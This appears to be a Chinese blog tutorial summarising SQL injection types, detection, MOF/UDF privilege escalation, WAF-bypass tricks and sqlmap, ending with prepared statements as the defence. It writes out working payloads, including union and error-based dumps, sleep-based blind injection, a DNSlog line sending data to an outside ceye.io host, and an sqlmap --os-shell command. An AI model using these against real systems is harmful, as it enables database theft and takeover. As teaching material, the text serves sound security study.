欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

sql注入的总结

程序员文章站 2023-12-22 11:51:40
...

目录

 

sql注入的原理

可能带来的危害:

基本流程:

注入的分类

注入检测

注入提权

绕waf的技巧

注入工具


sql注入的原理

它是发生在应用程序与数据层的安全漏洞,用自己的话说,就是在输入的字符串中注入sql指令,因为程序设计不当,忽略了对字符的检查,这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。

可能带来的危害:

  1. 重要资料信息的泄露;
  2. 数据库服务器被攻击,系统管理员账户被篡改
  3. 获取系统较高的权限后,在网页中加入恶意的连接。
  4. 经由上传php简单的指令至对方之主机内,PHP之强大系统命令,可以让黑客进行全面控制系统(例如:php一句话木马)。
  5. 企业网站主页被窜改,门面尽失

基本流程:

信息收集  >  数据库类型   > 数据库版本   > 数据库用户    > 数据库权限       > 获取数据       >获取库信息         >获取表信息

>获取列信息       > 获取数据      >提权        >执行命令      >    读文件     >写文件 

 

注入的分类

布尔型注入:在sql注入过程中,根据页面的返回结果来判断条件真假的注入方式。

报错型注入:在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。

                      主要场景有两种,一是当查询不回显内容,但是会打印错误信息;二是在insert和update等注入点(Order by查询),这些语句也会打印错误信息。

       报错函数:updatexml()存在特殊字符、字母时,会出现报错,报错信息为特殊字符、字母及之后的内容,而hex出的数据包含字母和数字,所以第一个字母前面的内容都会丢失,updatexml报错最多只能显示32位,我们结合SUBSTR函数来获取数据就行了,

mysql>select updatexml(1,make_set(3,'~',(select user())),1);
ERROR 1105(HY000): XPATH syntax error:'~,aaa@qq.com'

                           extractvalue() (目标xml文档,xml路径)。语法中第二个参数Xpath是可操作的地方,如果我们写入错误的格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

mysql>select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));//获取表名
ERROR 1105(HY000): XPATH syntax error:'\users'

                            floor()返回小于等于括号内该值的最大整数,也就是取整。floor(rand(0)*2)就是对rand(0)产生的随机序列乘以2后的结果,再进行取整。

                            exp()

联合查询注入: 

  get型。数字型:根据获取的字段进行联合查询,查看显示点。and 1=2 union select 1,2,3,4,5            //           ' and 1=2 union select 1,2,3-- qwe

and1=2unionselect1,database(),table_name,4,5from information_schema.tables where table_schema=database() limit 0,1//爆表名

  post型。万能密码:where前面的那个条件为假后面的1=1为真,or或,一真一假为真,所以条件为真,则查询表里的全部数据。 

                 ' or 1=1 -- qwe                         ' or 1=1 order by 1 -- qwe         

时间型盲注:MySQL延时注入,延时注入就是在盲注的基础上增加了两个函数:if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句                          如果错误执行第三个语句

                     sleep():休眠多少秒

                     ' and if(length(database())>8,1,sleep(5))

DNSlog注入:Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.comt00ls.com.等的访问信息。

                      通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

and(SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.75icr7.ceye.io\\abc'))),ceye.io运用了泛解析,然后ceye.io的子域名的解析都是在某台服务器,然后它记录下来了有人请求访问了root.75icr7.ceye.io,然后在ceye这个平台上面显示出来了,abc为共享文件夹。

二阶注入:也称二次注入,原理是sql语句在没有被转义的情况下直接存入数据库,然后在被读取查询而导致的。

源码中的sql语句: UPDATE users SET PASSWORD='$pass'where username='$username'and password='$curr_pass'
即将被执行的语句: UPDATE users SET PASSWORD='$pass'where username='admin'#' and password='$curr_pass'
最终被执行的语句:UPDATE users SET PASSWORD='$pass'where username='admin'

   Order By 注入:   Order by注入是比较特殊的情况, sql语句为 select * from admin order by $id 。我们一般用order by 来判断列数,其实它就是一个依照第几个列来排序的过程。

注入检测

        我们可以通过在应用程序中触发报错或使用布尔型注入,最容易检测到脆弱的参数。构造格式错误的查询将触发错误,而发送带有各种布尔逻辑语句的有效查询将触发来自web服务器的不同响应。

sql注入的总结              sql注入的总结

sql注入的总结

sql注入的总结sql注入的总结

注入提权

mof提权:

               Windows Server 2003/XP 等 Windows低版本 ,需要权限:必须要有导出权限,原理:mof是Windows系统的一个文件,位于c:/windows/system32/wbem/mof/nullevt.mof,叫做托管对象格式, 它的作用是每隔5秒,就会去监控进程的创建和死亡。mof提权的简单利用过程就是,拥有了MySQL的root权限 后,使用root权限去执行上传操作,将我们重新改写过的mof文件上传,之后,这个文件会被服务器每隔5秒 以system权限执行。这个改写的mof中,有一段是vbs脚本,这个vbs大多数是cmd的添加管理员用户的命令。

sql注入的总结

udf提权:

              只和Mysql有关,必须要有导出权限,且用户必须root权限          

              UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。通过加载dll文件扩展,我们可以让Mysql去做一切事情。

               sys_eval:执行任意命令,并将输出返回。

绕waf的技巧

IIS+ASP的环境中,对于URL请求的参数值中的%,如果和后面的字符构成的字符串在URL编码表之外,ASP脚本 处理时会将其忽略

sql注入的总结

IS支持Unicode编码字符的解析,但是某些WAF却不一定具备这种能力。

sql注入的总结

HPP(HTTP Parameter Pollution): HTTP参数污染。

sql注入的总结

id=union+select+password/&id=/from+admin来逃避对 select * from 的检测。因为HPP特性,id的参数值最终会变为:union select password/,/from admin

畸形HTTP请求

当向Web服务器发送畸形的,非RFC2616标准的HTTP请求时, Web服务器出于兼容的目的,会尽可能解析畸形HTTP请求。

sql注入的总结sql注入的总结

WEB应用层缺陷

多重编码

sql注入的总结

多数据来源的问题

sql注入的总结

 

waf自身缺陷:

数据获取方式存在缺陷

白名单机制

数据处理不恰当

               %00截断 将 %00 进行URL解码,即是C语言中的NULL字符,

sql注入的总结

             &字符处理

sql注入的总结

注入工具

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

Tamper,

可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。

tamper脚本的基本结构为 priority变量定义和 dependencies、 tamper函数定义。

  • priority定义脚本的优先级,用于有多个tamper脚本的情况。

  • dependencies函数声明该脚本适用或不适用的范围,可以为空。

  • tamper是主要的函数,接受的参数为 payload **kwargs,返回值为替换后的payload

sqlmap udf提权:

sqlmap\data\udf\mysql\windows\32 目录下存放着32位的 lib_mysqludf_sys.dll,但是 sqlmap 中自带的 shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用。

可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak 目录下,执行命令:python2 cloak.py -d -i D:\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll

解码后在 sqlmap\data\udf\mysql\windows\32 文件夹下会生成 dll 文件。

sqlmap.py -d “mysql://root:aaa@qq.com:3306/test” -–os-shell

sql注入的总结

防止sql注入的方法:预编译。

预编译语句是什么 

  通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:

    1.   词法和语义解析
    2.   优化sql语句,制定执行计划
    3.   执行并返回结果

        所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止sql注入。

上一篇:

下一篇: